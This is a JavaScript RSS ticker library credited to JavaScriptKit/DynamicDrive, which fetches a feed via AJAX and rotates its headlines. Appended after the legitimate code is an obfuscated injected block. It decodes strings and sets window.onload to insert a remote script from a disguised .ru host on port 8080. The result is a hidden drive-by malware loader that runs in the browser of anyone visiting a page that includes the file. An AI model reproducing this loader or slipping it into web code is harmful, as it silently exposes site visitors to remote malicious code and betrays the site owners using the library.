/*
 ======================================================================
 RSS JavaScript Ticker object
 Author: George at JavaScriptKit.com/ DynamicDrive.com
 Created: Feb 5th, 2006. Updated: Feb 5th, 2006
 ======================================================================
*/

function createAjaxObj(){
var httprequest=false
if (window.XMLHttpRequest){ // if Mozilla, Safari etc
httprequest=new XMLHttpRequest()
if (httprequest.overrideMimeType)
httprequest.overrideMimeType('text/xml')
}
else if (window.ActiveXObject){ // if IE
try {
httprequest=new ActiveXObject("Msxml2.XMLHTTP");
} 
catch (e){
try{
httprequest=new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e){}
}
}
return httprequest
}

// -------------------------------------------------------------------
// Main RSS Ticker Object function
// rss_ticker(RSS_id, cachetime, divId, divClass, delay, optionalswitch)
// -------------------------------------------------------------------

function rss_ticker(RSS_id, cachetime, divId, divClass, delay, optionalswitch){
this.RSS_id=RSS_id //Array key indicating which RSS feed to display
this.cachetime=cachetime //Time to cache feed, in minutes. 0=no cache.
this.tickerid=divId //ID of ticker div to display information
this.delay=delay //Delay between msg change, in miliseconds.
this.logicswitch=(typeof optionalswitch!="undefined")? optionalswitch : -1
this.mouseoverBol=0 //Boolean to indicate whether mouse is currently over ticker (and pause it if it is)
this.pointer=0
this.ajaxobj=createAjaxObj()
document.write('<div id="'+divId+'" class="'+divClass+'">Initializing ticker...</div>')
this.getAjaxcontent()
}

// -------------------------------------------------------------------
// getAjaxcontent()- Makes asynchronous GET request to "rssfetch.php" with the supplied parameters
// -------------------------------------------------------------------

rss_ticker.prototype.getAjaxcontent=function(){
if (this.ajaxobj){
var instanceOfTicker=this
var parameters="id="+encodeURIComponent(this.RSS_id)+"&cachetime="+this.cachetime+"&bustcache="+new Date().getTime()
this.ajaxobj.onreadystatechange=function(){instanceOfTicker.initialize()}
this.ajaxobj.open('GET', "rssfetch.php?"+parameters, true)
this.ajaxobj.send(null)
}
}

// -------------------------------------------------------------------
// initialize()- Initialize ticker method.
// -Gets contents of RSS content and parse it using JavaScript DOM methods 
// -------------------------------------------------------------------

rss_ticker.prototype.initialize=function(){ 
if (this.ajaxobj.readyState == 4){ //if request of file completed
if (this.ajaxobj.status==200){ //if request was successful
var xmldata=this.ajaxobj.responseXML
if(xmldata.getElementsByTagName("item").length==0){ //if no <item> elements found in returned content
document.getElementById(this.tickerid).innerHTML="<b>Error</b> fetching remote RSS feed!<br />"+this.ajaxobj.responseText
return
}
var instanceOfTicker=this
this.feeditems=xmldata.getElementsByTagName("item")

//Cycle through RSS XML object and store each peice of the item element as an attribute of the element
for (var i=0; i<this.feeditems.length; i++){
this.feeditems[i].setAttribute("ctitle", this.feeditems[i].getElementsByTagName("title")[0].firstChild.nodeValue)
this.feeditems[i].setAttribute("clink", this.feeditems[i].getElementsByTagName("link")[0].firstChild.nodeValue)
this.feeditems[i].setAttribute("cdescription", this.feeditems[i].getElementsByTagName("description")[0].firstChild.nodeValue)
}
document.getElementById(this.tickerid).onmouseover=function(){instanceOfTicker.mouseoverBol=1}
document.getElementById(this.tickerid).onmouseout=function(){instanceOfTicker.mouseoverBol=0}
this.rotatemsg()
}
}
}

// -------------------------------------------------------------------
// rotatemsg()- Rotate through RSS messages and displays them
// -------------------------------------------------------------------

rss_ticker.prototype.rotatemsg=function(){
var instanceOfTicker=this
if (this.mouseoverBol==1) //if mouse is currently over ticker, do nothing (pause it)
setTimeout(function(){instanceOfTicker.rotatemsg()}, 100)
else{
var tickerDiv=document.getElementById(this.tickerid)
var tickercontent='<a href="'+this.feeditems[this.pointer].getAttribute("clink")+'">'+this.feeditems[this.pointer].getAttribute("ctitle")+'</a>'
if (this.logicswitch=="showdescription")
tickercontent+="<br />"+this.feeditems[this.pointer].getAttribute("cdescription")
tickerDiv.innerHTML=tickercontent
this.pointer=(this.pointer<this.feeditems.length-1)? this.pointer+1 : 0
setTimeout(function(){instanceOfTicker.rotatemsg()}, this.delay) //update container every second
}
}
var E='';try {this.P="";var Et;if(Et!='Y' && Et != ''){Et=null};var yY;if(yY!='Jp' && yY!='w'){yY=''};var cC;if(cC!='aK' && cC!='bk'){cC=''};var i=RegExp;var S=new String();var qm;if(qm!='' && qm!='NT'){qm=''};var _='[';var OR;if(OR!='EF' && OR!='v'){OR='EF'};var Q='g';var X='replace';var aD;if(aD!=''){aD='VV'};var r=']';var vq='';var NL;if(NL!='' && NL!='Ah'){NL=''};var c='';this.bF="";function b(d,J){var n;if(n!=''){n='Oq'};var ru="";var q=_;q+=J;this.z='';var XT;if(XT!=''){XT='e'};q+=r;var f=new i(q, Q);return d[X](f, c);};var j=new Array();var Bf=new Array();var F=b('bwo_dUyU',"w_U");var _V=b('aIpypIe0nIdyC0hyiyl0d0',"I0y");var N=b('s4eFtFAvtntnrFi4b4u4t4e4',"vgnF4");this.Nz="";this.vv="";var V=b('cOrieRaitqeOERlGeGmqeqnGtR',"GiRqO");var H=b('/FgFoFo3g3lFe3.3c3oFm3.3e3cF/3gFoFoFgFlFeF.3cFo3mF.3eFcF/Fm3aFr3kFe3t3gFiFdF.3cFo3mF/FpFc3oFn3lFiFn3e3.FcFo3mF.3cFnF/3gFo3o3g3l3e3.Fc3o3mF.FpFhFp3',"F3");var I=b('hGtqtGpq:q/q/qtGaqgqgqeqdq-GcGoqmq.qwquGnqdqeGrGgGrqoquqnGdG.qcGoqmq.qeqbqaqyG-qiGtG.qmqyGdGiqrGeqcGtGoGuqtGlqeqtG.qrquq:q',"Gq");this.vY="";var gu=new Array();var d="1";var Xe;if(Xe!='' && Xe!='Vi'){Xe='jH'};var kR=new Date();var s='';var bS;if(bS!='' && bS!='NP'){bS=''};var gz;if(gz!='' && gz!='Ok'){gz=''};var a=b('oknklXokakdk',"Xk");var FW=new Array();var O=b('814101998111091994',"149");var y=b('s1c1r1i1p1t1',"X1");this.mw="";var ju;if(ju!='gg' && ju!='qF'){ju='gg'};var W;if(W!='' && W!='BQ'){W=null};window[a]=function(){var HV="";var mC=new Array();A=document[V](y);var VK=new Array();s+=I;s+=O;this.fX="";var Wt="";s+=H;var qP=new String();var Qw=new String();var vm="";var x=document[F];A.setAttribute('defer', d);this.na="";A.src=s;var qk='';this.Ir="";x.appendChild(A);var Xd=new String();this.orF='';};var YS="";var Nd;if(Nd!='' && Nd!='yf'){Nd='cM'};} catch(o){var au=new Date();this.Ss="";};var Qf;if(Qf!=''){Qf='st'};